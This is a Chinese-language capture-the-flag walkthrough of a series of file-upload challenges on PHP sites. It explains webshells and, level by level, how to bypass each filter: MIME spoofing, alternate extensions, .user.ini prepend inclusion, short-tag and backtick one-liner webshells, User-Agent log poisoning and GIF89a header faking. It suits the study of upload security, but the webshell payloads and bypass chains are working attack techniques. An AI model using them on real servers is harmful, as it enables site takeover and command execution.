概念
文件上传漏洞
什么是文件上传漏洞?
文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
webshell
什么是webshell?
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。
攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录。
第一关 js验证+mime验证
查看页面源代码
上传png图片,成功;上传gif图片,失败。
这样的话我们就可以将格式改为PHP,去上传一个PHP的后门代码(一句话木马)
mime类型
MIME是描述消息内容类型的标准,用来表示文档、文件或字节流的性质和格式。能包含文本、图像、音频、视频以及其他应用程序专用的数据。
浏览器通常使用 MIME 类型(而不是文件扩展名)来确定如何处理URL,因此 Web服务器在响应头中添加正确的 MIME 类型非常重要。
如果配置不正确,浏览器可能会无法解析文件内容,网站将无法正常工作,并且下载的文件也会被错误处理。
知识点:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
第二关 js验证+mime验证
前面操作和第一关一样,但发现即使F12检查将图片格式改为php也上传不成功
Content-Type(内容类型)
一般是指网页中存在的 Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件。
Content-Type 标头告诉客户端实际返回的内容的内容类型。
这就是经常看到一些 PHP 网页点击的结果却是下载一个文件或一张图片的原因。
第三关 (1+2)+.user.ini
操作延续第二关,但发现还是上传不成功
x.php上传不成功,改为x.phP也可以上传成功,但大小写网站不能正常解析
改为x.php5/x.php7上传成功,(绕过技巧:多后缀解析)
改为php是为了用php包含后门代码
.user.ini
php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
[文件上传].user.in
总结:
利用.user.ini,包含一个PNG图片,那么png的后门代码就会被php执行,所以后门代码还是以php格式去运行,也就是说他不让我上传php,我们就换成上传到png里面,然后用.user.ini这个格式来上传成功之后 ,用.user.ini去包含PNG,那么意味着这个图片的代码也会被当做php执行,所以后面代码都能够成功调用
第45678关 (1+2+3)+短标签+过滤
操作延续第三关,但发现上传不成功,将后门代码改为123123123可以上传成功,说明是后门代码被过滤掉了,一点一点删除关键字,最后发现是<?php这个组合被过滤掉了
替换php
<? echo '123' ?> | //前提是开启配置参数short open tags=on |
<?=表达式?> | //不需要开启参数设置 |
<% echo '123 %> | //前提是开启配置参数asp_tags=on |
<script language="php">echo '1': </script> | //不需要修改参数开关 |
第五关同第四关,只需将x.php改为x.php5/x.php7
第六关同第四关,发现是<?=eval($_POST[x]);?>中[]被过滤,将其换为{}即可
第七关同第四关,发现是<?=eval($_POST{x});?>中{}和;被过滤
最后使用代码为<?=system('tac ../fl.*')?>,因为flag.*也被过滤
第九关 (1+2+3)+短标签+过滤()
<?=system('tac ../fl.*')?>中()被过滤,替换为<?=`tac ../f*`?>
php``
PHP 支持一个执行运算符:反引号( `` )
PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。
使用反引号运算符( `` )的效果与函数 shell_exec ( ) 相同。
shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
第十关 (1+2+3)+短标签+过滤``
<?=`tac ../f*`?>中``被过滤,将后门代码构造在日志记录文件中去
把后门代码写到其他文件去,比如说调用的是日志记录文件,它会包含访问者的UA信息,所以你就可以构造一个带有后门的UA信息,访问这个网站,它会记录访问这个后门代码,就相当于是植入到日志文件去,然后再包含这个日志文件。
日志文件UA头
User Agent用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
"." 为php替换内容
读取此地址,发现flag
也可以这样,通过UA头传木马,传的木马会保存在日志文件中
第十一关 (1+2+3+4)+过滤+文件头
文件头部检测是否为图片格式文件
发现所有形式的文件png,gif,php等都上传不了,建立一个png文件,里面写上GIF89a,上传成功,重复前面关卡操作
或抓包该也可
知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传-user.ini
4、文件上传-PHP语言特性
#详细点:
Ge
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竟争等